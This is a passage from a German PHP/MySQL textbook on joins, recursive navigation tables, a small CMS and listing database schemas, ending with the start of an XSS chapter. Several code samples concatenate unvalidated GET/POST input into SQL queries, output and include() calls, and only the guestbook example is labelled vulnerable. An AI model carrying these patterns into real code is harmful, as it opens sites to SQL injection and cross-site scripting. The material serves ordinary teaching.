            Weil man sich in der Regel allein durch das Durchlesen dieser Beschreibung noch nicht allzu viel vorstellen kann, nehmen wir uns ein konkretes Beispiel vor. Angenommen, wir wollen eine Liste von Usern (IDUser, E-Mail-Adresse, Vorname, Nachname) inklusive deren gespeichertem Geschlecht ausgeben. Dabei gehen wir davon aus, dass die Angabe des Geschlechts optional ist, weshalb nicht jedem User auch ein Geschlecht zugewiesen ist. Außerdem muss auch nicht jedes Geschlecht (weiblich, männlich, divers) bei unseren Usern vorkommen. Tabelle 12.36 und Tabelle 12.37 enthalten die Daten, von denen wir ausgehen.

            
                
                    
                        	
                            IDUser

                        
                        	
                            E-Mail-Adresse

                        
                        	
                            Vorname

                        
                        	
                            Nachname

                        
                        	
                            FIDGeschlecht

                        
                    

                
                
                    
                        	
                            1

                        
                        	
                            uwe.mutz@syne.at

                        
                        	
                            Uwe

                        
                        	
                            Mutz

                        
                        	
                            2

                        
                    

                    
                        	
                            2

                        
                        	
                            hermann.maier@hm1.at

                        
                        	
                            Hermann

                        
                        	
                            Maier

                        
                        	
                            2

                        
                    

                    
                        	
                            5

                        
                        	
                            test2@test.at

                        
                        	
                            Markus

                        
                        	
                            Huberer

                        
                        	
                            NULL

                        
                    

                    
                        	
                            6

                        
                        	
                            test3@test.at

                        
                        	
                            Sabine

                        
                        	
                            Maier

                        
                        	
                            1

                        
                    

                    
                        	
                            7

                        
                        	
                            test4@test.at

                        
                        	
                            Sabine

                        
                        	
                            Müller

                        
                        	
                            1

                        
                    

                    
                        	
                            8

                        
                        	
                            test5@test.at

                        
                        	
                            Harald

                        
                        	
                            Maierhofer

                        
                        	
                            2

                        
                    

                    
                        	
                            10

                        
                        	
                            test6@test.at

                        
                        	
                            Harald

                        
                        	
                            Maierhofer

                        
                        	
                            2

                        
                    

                    
                        	
                            12

                        
                        	
                            test7@test.at

                        
                        	
                            Harald

                        
                        	
                            Obermüller

                        
                        	
                            NULL

                        
                    

                    
                        	
                            14

                        
                        	
                            test89@test.at

                        
                        	
                            Theresia

                        
                        	
                            Obermaier

                        
                        	
                            1

                        
                    

                    
                        	
                            15

                        
                        	
                            test17@test.at

                        
                        	
                            Sandra

                        
                        	
                            Huber

                        
                        	
                            NULL

                        
                    

                    
                        	
                            16

                        
                        	
                            test18@test.at

                        
                        	
                            Hubert

                        
                        	
                            Huber

                        
                        	
                            2

                        
                    

                    
                        	
                            19

                        
                        	
                            jakob.mutz@syne.at

                        
                        	
                            NULL

                        
                        	
                            NULL

                        
                        	
                            2

                        
                    

                
            

            Tabelle 12.36    
            In der Usertabelle wurde nicht für jeden User ein Geschlecht gespeichert.

            
                
                    
                        	
                            IDGeschlecht

                        
                        	
                            Geschlecht

                        
                        	
                            Kurzzeichen

                        
                    

                
                
                    
                        	
                            1

                        
                        	
                            weiblich

                        
                        	
                            w

                        
                    

                    
                        	
                            2

                        
                        	
                            männlich

                        
                        	
                            m

                        
                    

                    
                        	
                            3

                        
                        	
                            divers

                        
                        	
                            d

                        
                    

                
            

            Tabelle 12.37    
            Die Geschlechtertabelle beinhaltet drei Geschlechter.

            Wie Sie leicht erkennen können, ist die Usertabelle über die FIDGeschlecht-Spalte mit der Geschlechtertabelle (und der dortigen IDGeschlecht-Spalte) verbunden.

            Nun bedienen wir uns ein wenig der Mengenlehre: Wir stellen die Menge aller User und die Menge aller Geschlechter in Form von Kreisen dar (siehe Abbildung 12.27), die wir in weiterer Folge überlappen lassen werden, um so anzudeuten, dass von beiden Mengen gewisse Teile genommen werden.

            Wenden wir nun einen Inner Join an, so bedeutet das, dass nur diejenigen User abgefragt werden, denen auch ein Geschlecht zugewiesen wurde (siehe Abbildung 12.28). Aus der Mengenlehre heraus würden wir sagen, dass dies die Schnittmenge (»sowohl aus der einen als auch aus der anderen Menge«) der beiden Mengen darstellt.

            
                [image: Basierend auf unseren User- und Geschlechterdaten erhalten wir diese beiden Mengen.]

                Abbildung 12.27    
            Basierend auf unseren User- und Geschlechterdaten erhalten wir diese beiden Mengen.

            
            
                [image: Der Inner Join nimmt nur diejenigen Daten, in denen einem User auch ein Geschlecht zugewiesen wurde. User ohne zugewiesenes Geschlecht sowie nicht genutzte Geschlechter sind im Ergebnis nicht zu finden.]

                Abbildung 12.28    
            Der Inner Join nimmt nur diejenigen Daten, in denen einem User auch ein Geschlecht zugewiesen wurde. User ohne zugewiesenes Geschlecht sowie nicht genutzte Geschlechter sind im Ergebnis nicht zu finden.

            
            Das SQL-Statement sowie grafische Darstellung in Form einer HTML-Tabelle ergeben (natürlich) genau dieses Bild (vergleiche Abbildung 12.29).

            Der Left Join bewirkt wiederum, dass sämtliche User abgefragt werden – unabhängig davon, ob für sie ein Geschlecht gespeichert wurde oder nicht. Ist eines gespeichert, so wird es mit abgefragt; ist keines gespeichert, so ist das Geschlecht-Feld für die Abfrage NULL (siehe Abbildung 12.30).

            
                [image: Das Ergebnis des Inner Joins: Nur User mit zugewiesenem Geschlecht werden dargestellt.]

                Abbildung 12.29    
            Das Ergebnis des Inner Joins: Nur User mit zugewiesenem Geschlecht werden dargestellt.

            
            
                [image: Ein Left Join liefert sämtliche Datensätze aus der Usertabelle plus zusätzlich die Informationen zum Geschlecht, sollte ein solches vorhanden sein.]

                Abbildung 12.30    
            Ein Left Join liefert sämtliche Datensätze aus der Usertabelle plus zusätzlich die Informationen zum Geschlecht, sollte ein solches vorhanden sein.

            
            Schlussendlich bleibt noch der (selten verwendete) Right Join übrig: Er liefert sämtliche Geschlechter sowie all diejenigen User, denen ein Geschlecht zugewiesen wurde (siehe Abbildung 12.31).

            
                [image: Ein Right Join liefert sämtliche Datensätze aus der Geschlechtertabelle plus zusätzlich diejenigen User, denen ein Geschlecht zugewiesen wurde.]

                Abbildung 12.31    
            Ein Right Join liefert sämtliche Datensätze aus der Geschlechtertabelle plus zusätzlich diejenigen User, denen ein Geschlecht zugewiesen wurde.

            
            Ein paar Anmerkungen:

            
                	
                    Man kann aus beliebig vielen Tabellen Informationen abfragen – hierzu sind einfach nur mehrere Joins notwendig:

                    SELECT tbl_a.x,tbl_b.y,tbl_c.z FROM tbl_a
INNER/LEFT/RIGHT JOIN tbl_b ON …
INNER/LEFT/RIGHT JOIN tbl_c ON …
... 


                

                	
                    Sollten aus zwei abgefragten Tabellen identische Spaltennamen benötigt werden, so können diese während der Abfrage durch andere Namen ersetzt werden (schematischer Code):

                    SELECT tbl_a.x AS xAusA, tbl_b.x AS xAusB, tbl_c.x FROM …
...
$zeile->xAusA bzw. $zeile->xAusB bzw. $zeile->x 


                

            

            (Letzteres wäre dann die Spalte x aus der Tabelle tbl_c.)

            Sehen wir uns noch zwei weitere Beispiele an:

            
                [zB]  Darstellung von Userdaten (Left Join)

                Stellen Sie alle Personen aus der Usertabelle (tbl_user) sowie deren Geburtsland (sofern vorhanden) in Form einer ungeordneten Liste dar. Geben Sie die ID des Users, seinen Vor- und Nachnamen sowie sein Geburtsland aus.

                Offensichtlich wird hier ein Left Join benötigt, da sämtliche Personen aus der tbl_user dargestellt werden sollen und nicht nur diejenigen, von denen das Geburtsland bekannt ist (das wäre dann ein Inner Join):

                ...
echo('<ul>');
$sql = "
  SELECT tbl_user.IDUser,tbl_user.Vorname,tbl_user.Nachname,
  tbl_staaten.Staat
  FROM tbl_user
  LEFT JOIN tbl_staaten ON tbl_staaten.IDStaat=tbl_user.FIDGeburtsland
";
$userliste = query($GLOBALS["conn"],$sql);
while($user = fetch($GLOBALS["conn"],$userliste)) {
  echo('
    <li>
      ID: ' . $user->IDUser . ',
      Nachname=' . $user->Nachname . ',
      Vorname=' . $user->Vorname . ',
      Geb-Land=' . $user->Staat . '
    </li>
  ');
}
echo('</ul>');
... 


            

            
                [zB]  Darstellung von Userdaten (Inner Join)

                Stellen Sie alle Personen aus der Usertabelle (tbl_user) dar, denen ein Geschlecht und ein Geburtsland zugewiesen wurden. Geben Sie die ID des Users, seinen Vor- und Nachnamen, sein Geschlecht und sein Geburtsland aus.

                In diesem Fall wird für beide zusätzlichen Tabellen (tbl_geschlechter, tbl_staaten) ein Inner Join benötigt, da User ohne zugewiesenes Geschlecht und zugewiesenes Geburtsland nicht dargestellt werden sollen:

                ...
echo('<ul>');
$sql = "
  SELECT tbl_user.IDUser,tbl_user.Vorname,tbl_user.Nachname,
  tbl_staaten.Staat,tbl_geschlechter.Geschlecht
  FROM tbl_user
  INNER JOIN tbl_staaten ON tbl_staaten.IDStaat=tbl_user.FIDGeburtsland
  INNER JOIN tbl_geschlechter ON tbl_geschlechter.IDGeschlecht=↩
tbl_user.FIDGeschlecht
";
$userliste = query($GLOBALS["conn"],$sql);
while($user = fetch($GLOBALS["conn"],$userliste)) {
  echo('
    <li>
      ID: ' . $user->IDUser . ',
      Nachname=' . $user->Nachname . ',
      Vorname=' . $user->Vorname . ',
      Geb-Land=' . $user->Staat . ',
      Geschlecht=' . $user->Geschlecht . '
    </li>
  ');
}
echo('</ul>');
... 


            

        
    


                    
                        
        12.10    Auch die Datenbank kann’s – rekursive Datenspeicherung

        In Abschnitt 11.14.1 über die Datei- und Verzeichnisstruktur auf der Serverseite und dem Wunsch danach, Verzeichnisstrukturen beliebiger Tiefe auslesen zu können, sind Sie erstmalig auf den Begriff der Rekursion gestoßen. Wie in diesem Abschnitt erwähnt wurde, dient eine Rekursion vor allem dazu, Bäume mit beliebiger Verästelung auslesen zu können. In vielen Fällen der Datenspeicherung in Datenbanken stößt man auf ebendieses Problem – denken Sie beispielsweise an folgende Beispiele:

        
            	
                die Navigation einer Website: Diese ist in den allermeisten Fällen mit Haupt-, Unter-, Unterunter- usw. -Navigationen aufgebaut, wobei ein Navigationspunkt mal tiefer, mal weniger tief verschachtelt ist.

            

            	
                die Darstellung eines Organigramms: Möchte man die Unternehmensstruktur darstellen, so muss für jeden Mitarbeiter der/die Vorgesetzte bekannt sein.

            

            	
                ein Forum: Jemand stellt eine Frage, auf die beliebig oft geantwortet werden kann; aber auch Antworten auf Antworten usw. sollen dabei möglich sein.

            

        

        In allen genannten Fällen ist es wenig bis nicht zielführend, für jede Ebene (Navigationsebene, Organigramm-Ebene, Forumsebene) eine eigene Tabelle anzulegen, denn dies würde bedeuten, dass man für den Fall, dass eine neue (weitere) Ebene einer Navigation erzeugt werden soll, eine neue Tabelle für diese Ebene schaffen müsste.

        Aus diesem Grund wählt man einen (sehr eleganten) Weg, indem man sämtliche Informationen in ein und derselben Tabelle speichert und innerhalb dieser Tabelle eine Spalte vorsieht, in die ein Wert eingetragen wird, der auf einen ID-Wert derselben Tabelle verweist – siehe etwa Tabelle 12.38 für eine (sehr einfache) Navigation einer Website:
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        Tabelle 12.38    
            Rekursive Datenspeicherung in einer Tabelle: Die Zeilen mit verbundenen Zellen stellen keine Datensätze dar, sondern erläutern nur die Verbindungen zwischen »IDNavigation« und »FIDNavigation«.

        Im Beispiel aus Tabelle 12.38 ist beispielsweise erkennbar, dass Hauptnavigationspunkte (also solche, die keinen übergeordneten Navigationspunkt besitzen) den FID-Wert gleich NULL (FIDNavigation=NULL) besitzen. Datensätze, in denen die Spalte FIDNavigation nicht NULL ist, verweisen mit dem dort eingetragenen Wert auf den Wert der ID-Spalte eines anderen Datensatzes, wobei die folgende Auflistung zwei ausgewählte Beispiele darstellt:

        
            	
                Der Datensatz mit IDNavigation=4 (»Web«) verweist mittels FIDNavigation=3 auf den Datensatz mit IDNavigation=3 (»Dienstleistungen«) und stellt somit einen Unternavigationspunkt zu »Dienstleistungen« dar.

            

            	
                Der Datensatz mit IDNavigation=9 verweist mittels FIDNavigation=8 auf den Datensatz mit IDNavigation=8 und ist somit ein Unterpunkt zu »Web«.

            

        

        Grundsätzlich existieren zwei Arten, wie solche Informationen gespeichert werden können:

        
            	
                Vorgängermethode: In der FID-Spalte eines Datensatzes wird der ID-Wert des übergeordneten Datensatzes (des Vorgängers) gespeichert.

            

            	
                Nachfolgermethode: In der FID-Spalte eines Datensatzes wird der ID-Wert des untergeordneten Datensatzes (des Nachfolgers) gespeichert.

            

        

        Für welche Variante Sie sich entscheiden, hängt in den meisten Fällen davon ab, wie viele über- oder untergeordnete Einträge existieren können, da mithilfe einer FID-Spalte eben nur ein über- oder untergeordneter Eintrag angegeben werden kann. Benötigt man für einen Datensatz beispielsweise mehrere untergeordnete Einträge, so empfiehlt es sich, anstatt auf den untergeordneten auf den übergeordneten Eintrag zu verweisen. (Dies würde etwa im Fall des obigen Beispiels mit der Navigation zutreffen: Ein Navigationspunkt könnte mehrere Unternavigationspunkte haben.)

        
            	
                Dienstleistungen hat die Unterpunkte:

                
                    	
                        Web

                    

                    	
                        Print

                    

                    	
                        Usability

                    

                

            

        

        Jeder dieser Unterpunkt hat jedoch nur einen übergeordneten Punkt:

        
            	
                Web hat den übergeordneten Punkt Dienstleistungen.

            

            	
                Print hat den übergeordneten Punkt Dienstleistungen.

            

            	
                Usability hat den übergeordneten Punkt Dienstleistungen.

            

        

        Umgesetzt in einen entsprechenden PHP-Code, ergibt die Abfrage eine rekursive Funktion:

        function navigation_show(?int $fid=null):string {
  $r = '';
  $sql = "


            SELECT IDNavigation,Navigation,URL FROM tbl_navigation
    WHERE(FIDNavigation" . (is_null($fid) ? " IS NULL" : "=" . $fid) . ")
    ORDER BY Reihenfolge ASC


          ";
  $nav = query($GLOBALS["conn"],$sql);
  if(rowCount($GLOBALS["conn"],$nav)>0) {
    $r.= '<ul>';
    while($navitem = fetch($GLOBALS["conn"],$nav)) {
      $r.='<li><a href="' . $navitem->URL . '">' . $navitem->Navigation . ↩
'</a>';
      $r.= navigation_show($navitem->IDNavigation); //Rekursion
      $r.= '</li>';
    }
    $r.= '</ul>';
  }
 
  return $r;
}
...
echo(navigation_show()); //erstmaliger Aufruf, um die Navigation anzuzeigen 


        Mit ein bisschen CSS lässt sich die Navigation dann auch wunderbar darstellen, wie Abbildung 12.32 beweist.

        
            [image: Mit ein wenig CSS-Code lässt sich rasch eine schöne Darstellung einer Navigation basteln (links ohne CSS, rechts mit CSS). Die HTML-Struktur ist jedoch nach wie vor dieselbe.]

            Abbildung 12.32    
            Mit ein wenig CSS-Code lässt sich rasch eine schöne Darstellung einer Navigation basteln (links ohne CSS, rechts mit CSS). Die HTML-Struktur ist jedoch nach wie vor dieselbe.

        
        Abschließend möchte ich mit Ihnen noch einen Blick auf ein Beispiel werfen, das in der Praxis häufig vorkommt: ein Content-Management-System (CMS). In einem CMS werden die meisten Inhalte der Website in der Datenbank gespeichert und nur wenige als (HTML- oder PHP-)Dateien abgelegt, wodurch sich der Ladevorgang von Inhalt anders verhält als bei Verlinkungen auf Dateien:

        
            	
                Es existiert ein einziges (PHP-)Dokument für die gesamte Website.

            

            	
                Bei einem Klick auf einen Navigationspunkt innerhalb des oben genannten Dokuments wird ebendieses Dokument erneut aufgerufen und es werden entsprechende GET-Daten mit an den Server übergeben.

            

            	
                Aus den GET-Daten kann der Server nun ermitteln, welcher Content geladen werden soll.

            

        

        Stellen Sie sich folgenden Fall vor:

        
            	
                In einer Datenbank existiert eine Navigationstabelle wie im letzten Beispiel, wobei die Funktion zum Generieren der Navigation nun nicht mehr zwischen einer URL-Angabe und einer id unterscheiden muss.

            

            	
                Jedem Navigationspunkt ist in dieser Tabelle eine eindeutige Kennung zugeordnet (IDNavigation).

            

            	
                Zu jedem Navigationspunkt ist auch ein Dokument auf dem Server hinterlegt, das dementsprechend geladen werden muss, oder dem Navigationspunkt ist innerhalb der Tabelle auch gleich der zugehörige (HTML-basierte) Content in Form eines Textfeldes zugewiesen.

            

        

        An der zuvor entwickelten Funktion zum Erstellen der Navigation muss also lediglich folgende Änderung vorgenommen werden:

        if(strlen($navpunkt->URL)>0) { $url = $navpunkt->URL; }
else { $url = "?id=" . $navpunkt->IDNavigation; }


        wird zu:

        $url = "?id=" . $navpunkt->IDNavigation;


        Ein entsprechender Link in einer Navigation könnte somit beispielsweise folgendermaßen aussehen: <a href='?id=10'>Web</a>. In diesem Fall wird also auf kein explizites Dokument verwiesen, was wiederum den Server veranlasst, dasselbe Dokument erneut zu laden. Gleichzeitig werden aber auch GET-Informationen übermittelt: id=10. Diese können nun auf dem Server entsprechend ausgewertet werden, indem man in der Navigationstabelle nach genau dem Eintrag sucht, dem dieser Wert zugewiesen ist:

        SELECT * FROM tbl_navigation WHERE(IDNavigation=10)


        oder auch so:

        $sql = "
  SELECT * FROM tbl_navigation WHERE(IDNavigation=".$_GET["id"].")
"; 


        Sollten keine GET-Informationen an den Server übergeben werden, so könnte man beispielsweise den Inhalt der Startseite laden, wobei man diese beispielsweise durch eine entsprechende Kennung in der Tabelle angeben würde (etwa, indem man eine Spalte Homepage mit dem Wert 1 oder 0 pro Datensatz einfügt).

        Um nun den benötigten Inhalt bzw. das benötigte HTML-Dokument zu laden, könnte man im <main> des Dokuments wie folgt vorgehen:

        if(count($_GET)>0) {
  $sql = "


            SELECT * FROM tbl_navigation
    WHERE(IDNavigation=" . $fid . " AND aktiv=1)


          ";
}
else { $sql = "SELECT * FROM tbl_navigation WHERE(Homepage=1)"; } 


        Die Einbettung des zugehörigen Contents ist dann denkbar einfach:

        
            	
                Entweder wird der hinterlegte HTML-Code mit echo ausgegeben oder

            

            	
                das in der Spalte URL angegebene Dokument wird mit include eingebettet:

                if(strlen($navinfos->Inhalt)>0) { echo($navinfos->Inhalt); }
elseif(strlen($navinfos->URL)>0) { include($navinfos->URL); }


            

        

    


                    
                        
        12.11    Ende der Fahnenstange? Weitere SQL-Befehle

        Natürlich ist mit den wenigen SQL-Befehlen, die Sie bis dato kennengelernt haben, noch (sehr) lange nicht das Ende der Fahnenstange erreicht. Das zeigt sich auch darin, dass das MySQL-Handbuch ca. 1200 Seiten hat. Im Folgenden finden Sie deshalb noch eine Auflistung der SQL-Befehle, auf die Sie nach einiger Praxis wohl stoßen werden und die Sie sich ansehen sollten:

        
            	
                Manchmal liefert ein SQL-Statement mehrmals dieselben Informationen. Dies kann man unterbinden, indem man ein SELECT DISTINCT-Statement anstatt eines normalen SELECT-Statements verwendet.

                Ein Beispiel: Wollen Sie aus unserer Usertabelle beispielsweise alle Geburtsländer der User auslesen, so ist klar, dass manche Länder sehr wahrscheinlich mehrmals vorkommen. Um trotzdem jedes Land nur ein einziges Mal zurückzuerhalten, verwendet man DISTINCT (siehe Abbildung 12.33).

                
                    [image: Eine »SELECT«-Abfrage ohne und mit »DISTINCT«]

                    Abbildung 12.33    
            Eine »SELECT«-Abfrage ohne und mit »DISTINCT«

                
            

            	
                Mithilfe des UNION-Operators können die Ergebnisse mehrerer SQL-Statements zusammengefasst werden.

            

            	
                Das GROUP BY-Statement gruppiert Datensätze, die dieselben Werte aufweisen, in eine Art zusammenfassende bzw. aufsummierte Zeilen. In diesem Zusammenhang werden auch gerne MySQL-Zählfunktionen wie COUNT(), MIN(), MAX(), AVG() (für average: Mittelwert) und SUM() verwendet.

            

        

        Neben diesen Anwendungen werden Sie auch rasch auf sogenannte Sub-Selects stoßen, mit deren Hilfe es möglich ist, weitere SELECT-Statements in ein bestehendes Statement zu verpacken.

        Weiters existieren natürlich auch SQL-Statements zu Anlegen von Datenbanken (CREATE DATABASE) oder Tabellen (CREATE TABLE), zum Ändern bestehender Tabellen (ALTER TABLE) usw. Die folgende Übung zeigt etwa, wie man von einem Datenbankserver sämtliche Datenbanken auslesen kann, sofern man dazu berechtigt ist.

        Zu guter Letzt werden Sie auch Interesse an Generated Columns, Triggers und Functions in MySQL finden.

        Sie sehen also, gerade im Fall von SQL haben wir das Ende der Möglichkeiten noch lange nicht erreicht. Dennoch werden Sie in den ersten Jahren Ihrer Karriere sehr gut mit dem bis dato erworbenen Wissen arbeiten können. Erst dann, wenn Ihre Projekte größer und größer werden, ist der tiefere Griff in die Trickkiste notwendig. Die Webentwicklung ist ein Beruf, und wie es in einem Beruf üblich ist, kann man nicht alles am ersten Tag lernen.

        
            [zB]  Datenbanken auslesen

            Gegeben sei folgende Aufgabenstellung: Erstellen Sie eine Seite, auf der sämtliche auf einem Datenbankserver befindlichen Datenbanken aufgelistet werden. Beim Klick auf einen Button, der mit dem jeweiligen Datenbanknamen beschriftet ist, wechseln Sie auf eine andere Seite. Geben Sie alle in der Datenbank befindlichen Tabellen in Form von beschrifteten Buttons aus.

            Bei einem Klick auf einen dieser Buttons wechseln Sie auf eine andere Seite. Geben Sie die Feldnamen, Feldlängen, die Eigenschaft NULL sowie gegebenenfalls die Kennzeichnung, ob es sich um einen Schlüssel handelt, auf der Seite aus.

            Es soll jederzeit möglich sein, auf die vorigen Seiten zurückzukehren.

            Schritt 1: Verbinden mit dem Datenbankserver

            In diesem Schritt sollen alle auf dem Server befindlichen Datenbanken ausgelesen und als Buttons dargestellt werden. Idealerweise verwenden Sie hierzu Submit-Buttons, die ein und dasselbe Formular abschicken und lediglich die Informationen übergeben, mit denen der Button beschriftet ist. Hier sehen Sie ein Beispiel:

            <form method="get" action="showtables.php">
  <input type="submit" name="datenbankname" value="db_fullstack_schule">
  <input type="submit" name="datenbankname" value="db_fullstack_bibliothek">
  <input type="submit" name="datenbankname" value="db_fullstack_security">
  ...
</form> 


            Der obige Code läuft wie folgt ab:

            
                	
                    Das Formular übermittelt Daten per GET an die Datei showtables.php, weil dieser Pfad im action-Attribut des Formulars angegeben ist.

                

                	
                    Weil alle Submit-Buttons denselben Namen tragen (datenbankname), wird nur der Wert (value) desjenigen Buttons an showtables.php übermittelt, der angeklickt wurde.

                

            

            Wird beispielsweise auf den Button mit dem Wert db_fullstack_bibliothek geklickt, so enthalten die GET-Daten auf der Serverseite den Eintrag ["datenbankname"] = "db_fullstack_bibliothek". Diesen Fall sehen Sie auch in der Adresszeile des folgenden Screenshots:

            
                [image: ]

            
            Umgesetzt in PHP, ergibt dies folgenden Code, der uns nun diese submit-Buttons generiert:

            ...
<form method="get" action="showtables.php">
  <?php
  $sql = "SHOW DATABASES";
  $dbs = query($GLOBALS["conn"],$sql);
  while($db = fetch($GLOBALS["conn"],$dbs)) {
    echo('<input type="submit" name="datenbankname" value="' . ↩ 
$db->Database . '">');
  }
  ?>
</form>
... 


            
                [image: Nach dem Auslesen der verfügbaren Datenbanken (für den angemeldeten User) werden diese in Form von Submit-Buttons auf dem Bildschirm dargestellt.]

                Abbildung 12.34    
            Nach dem Auslesen der verfügbaren Datenbanken (für den angemeldeten User) werden diese in Form von Submit-Buttons auf dem Bildschirm dargestellt.

            
            Schritt 2: Auswerten der GET-Daten in showtables.php

            Wurde ein Button angeklickt und entsprechend eine GET-Information an showtables.php gesendet, so muss diese Information nun ausgewertet und entsprechend umgesetzt werden, indem sämtliche Tabellen der ausgewählten Datenbank ausgelesen und in Form von Buttons ausgegeben werden.

            Bei der Ausgabe nutzen wir wieder dieselbe Vorgehensweise wie auch zur Darstellung der Datenbanken. Beachten Sie an dieser Stelle die Art und Weise, wie die Tabellennamen nach Abfrage der Datenbank mittels SHOW TABLES FROM Tabellenname dargestellt werden. (Diese Info können Sie sich übrigens ganz einfach über unsere Testausgabefunktion ta innerhalb der while-Schleife für das Auslesen der Datensätze ausgeben lassen: ta($table))

            stdClass Object
(
    [Tables_in_db_phpmysql] => tbl_user
)


            Der Eintrag im Ergebnisobjekt lautet also Tables_in_ in Verbindung mit dem Namen der Datenbank. Um diesen String zusammenzubasteln, verwenden wir folgenden Code:

            $tab = "Tables_in_" . $_GET["datenbankname"];

            Die Variable $tab wird dann bei der Abfrage des jeweiligen Tabellennamens verwendet: $table->$tab.

            Ein weiterer wesentlicher Punkt ist, dass für die folgende Seite, die die Abfrage der Spalten innerhalb einer Tabelle übernimmt, sowohl der Tabellen- als auch der Datenbankname übergeben werden müssen, weil das hierfür benötigte SQL-Statement dies erfordert:

            
                	
                    entweder SHOW COLUMNS FROM Tabellenname FROM Datenbankname

                

                	
                    oder SHOW COLUMNS FROM Datenbankname.Tabellenname

                

            

            Dementsprechend verstecken wir den bereits übergebenen Datenbanknamen in einem versteckten Formularfeld, das wir gemeinsam mit dem geklickten Button an die folgende Seite showcolumns.php übergeben:

            <input type="hidden" name="datenbankname" 
       value="db_fullstack_bibliothek.tbl_autoren"> 


            Der gesamte Code ist demnach wie folgt:

            <form method="get" action="showfields.php">
  <input type="hidden" name="datenbankname" 
         value="<?php echo($_GET["datenbankname"]); ?>"> 


              <?php
  if(count($_GET)>0) {
    $sql = "SHOW TABLES FROM " . $_GET["datenbankname"];
    $tables = query($GLOBALS["conn"],$sql);
    while($table = fetch($GLOBALS["conn"],$tables)) {
      $tab = "Tables_in_" . $_GET["datenbankname"];
      echo('<input type="submit" name="tabellenname" value="' . ↩ 
$table->$tab . '">');
    }
  }
  else {
    echo('<p class="error">Es wurde keine Datenbank ausgewählt.</p>');
  }
  ?> 


            </form> 


            
                [image: Für die ausgewählte Datenbank werden nun die in ihr befindlichen Tabellen ebenfalls wieder als Submit-Buttons ausgegeben.]

                Abbildung 12.35    
            Für die ausgewählte Datenbank werden nun die in ihr befindlichen Tabellen ebenfalls wieder als Submit-Buttons ausgegeben.

            
            Schritt 3: Auswerten der GET-Daten in showcolumns.php

            Schlussendlich müssen nun die beiden GET-Informationen datenbankname (übergeben mittels verstecktem Formularfeld) und tabellenname (übergeben mittels Klick auf den jeweiligen Button) ausgewertet und verarbeitet werden. Dazu generieren wir das benötigte SQL-Statement zum Auslesen der Spalteninformationen einer Tabelle (die sich in einer Datenbank befindet):

            SHOW COLUMNS FROM Datenbankname.Tabellenname 


            oder auch:

            $sql = "
  SHOW COLUMNS FROM ".$_GET["datenbankname"].".".$_GET["tabellenname"]"; 


            Insgesamt ergibt dies nun:

            ...
<ul>
  <?php
  if(count($_GET)>0) {
    $sql = "
      SHOW COLUMNS FROM ".$_GET["datenbankname"].".". ↩ 
$_GET["tabellenname"] . "
    ";
    $columns = query($GLOBALS["conn"],$sql);
    while($column = fetch($GLOBALS["conn"],$columns)) {
      echo('
        <li>Spalte ' . $column->Field . ':
          <ul>
            <li>Typ, Länge: ' . $column->Type . '</li>
            <li>Null erlaubt: ' . $column->Null . '</li>
            <li>Schlüssel: ' . $column->Key . '</li>
          </ul>
        </li>
      ');
    }
  }
  else {
    echo('<p class="error">Es wurde keine Tabelle ausgewählt.</p>');
  }
  ?>
</ul>
... 


            Voilà.

            
                [image: Nachdem nun auch die gewünschte Tabelle ausgewählt wurde, können die Felder der Tabelle ausgelesen werden.]

                Abbildung 12.36    
            Nachdem nun auch die gewünschte Tabelle ausgewählt wurde, können die Felder der Tabelle ausgelesen werden.

            
        

    


                    
                        13    1984 und Big Brother – Sicherheitsaspekte
Websites sind einer Vielzahl von Angriffen ausgesetzt, deren wichtigste Vertreter ich in den nächsten vier Abschnitten beschreiben werde. Grundsätzlich sollten Sie immer damit rechnen, es auch mit nicht vertrauenswürdigen (»bösen«) Usern zu tun zu haben. Daher sollten Sie immer dann, wenn User Daten an die Website übermitteln können, davon ausgehen, dass Sie auch Daten erhalten werden, die nicht für den Zweck gedacht sind, für den Sie die Übermittlungsmöglichkeit eigentlich eingerichtet haben.
Eine Übermittlung von Daten kann auf folgende Weisen erfolgen:

        	
            per POST: Die Übermittlung von POST-Daten erfordert ein Formular (das nicht einmal auf der eigenen Site gehostet werden muss) oder eine AJAX-Funktionalität.

        

        	
            per GET: Die Übermittlung von GET-Daten erfordert ein Formular, eine AJAX-Funktionalität oder simpel das Anhängen von Variablen-Werte-Paaren an die URL.

        

    
Die Grundregel lautet: Nehmen Sie in Ihrer Programmierung nie (Formular-)Daten entgegen, ohne diese auf Plausibilität zu überprüfen! Oder, mit anderen Worten: Seien Sie dagegen gewappnet, dass ein User Daten in ein Formular eingibt, die er eigentlich nicht eingeben dürfte oder sollte. Ein solches Thema hatte ich bereits in Abschnitt 11.14.1 bei der dynamischen Bildgenerierung angesprochen, wo wir White- oder Blacklists eingesetzt hatten, um entweder die erlaubten Werte (Whitelist) oder die nicht erlaubten Werte (Blacklist) darzustellen.

        13.1    Angriffsszenario 1: Cross-Site Scripting (XSS)

        Im Fall eines Cross-Site Scriptings versucht der Angreifer, (JavaScript-)Code in die Website einzuschmuggeln. Dies gelingt ihm immer dann, wenn die Website dem User die Möglichkeit bietet, formularbasiert Informationen einzugeben, die dann in weiterer Folge (in gutem Glauben) auf der Website als JavaScript interpretiert werden. Denken Sie hierbei etwa an Gästebücher, Kommentarfunktionen, Foren und dergleichen. Aber auch Redaktionssysteme oder (einfache) Content-Management-Systeme können betroffen sein.

        Ein einfaches Gästebuch würde etwa wie folgt aussehen (Auszug):

        ...
<form method="post">
..  <label for="NName">Ihr Name:</label>
  <input type="text" name="NName" id="NName" required>
  <label for="Nachricht">Ihre Nachricht:</label>
  <textarea name="Nachricht" id="Nachricht" required></textarea>
  <input type="submit" value="eintragen">
</form>
...


        Listing 13.1    
            Der HTML-Code für ein einfaches Gästebuch

        An diesem Code ist nichts auszusetzen, stellt er doch nur ein HTML-Formular dar. In weiterer Folge werden jedoch die vom User eingegebenen Informationen – in diesem Fall per POST – an den Server übergeben und dort weiterverarbeitet:

        ...
if(count($_POST)>0) {
  $sql = "
    INSERT INTO tbl_gaestebuch
      (Name,Nachricht)
    VALUES(
      '" . $_POST["NName" ] . "',
      '" . $_POST["Nachricht"] . "'
    )
  ";
  $ok = query($GLOBALS["conn"],$sql);
  if($ok) {
    $msg = '<p class="success">Ihre Nachricht wurde erfolgreich in unser ↩ Gästebuch eingetragen. Danke!</p>';
  }
  else {
    $msg = '<p class="error">Leider konnte Ihre Nachricht nicht eingetragen ↩ werden. Bitte versuchen Sie es erneut.</p>';
  }
}
...


        Listing 13.2    
            Dieser Code ist XSS-anfällig, da die Eingaben des Users ohne Bedenken gespeichert werden.

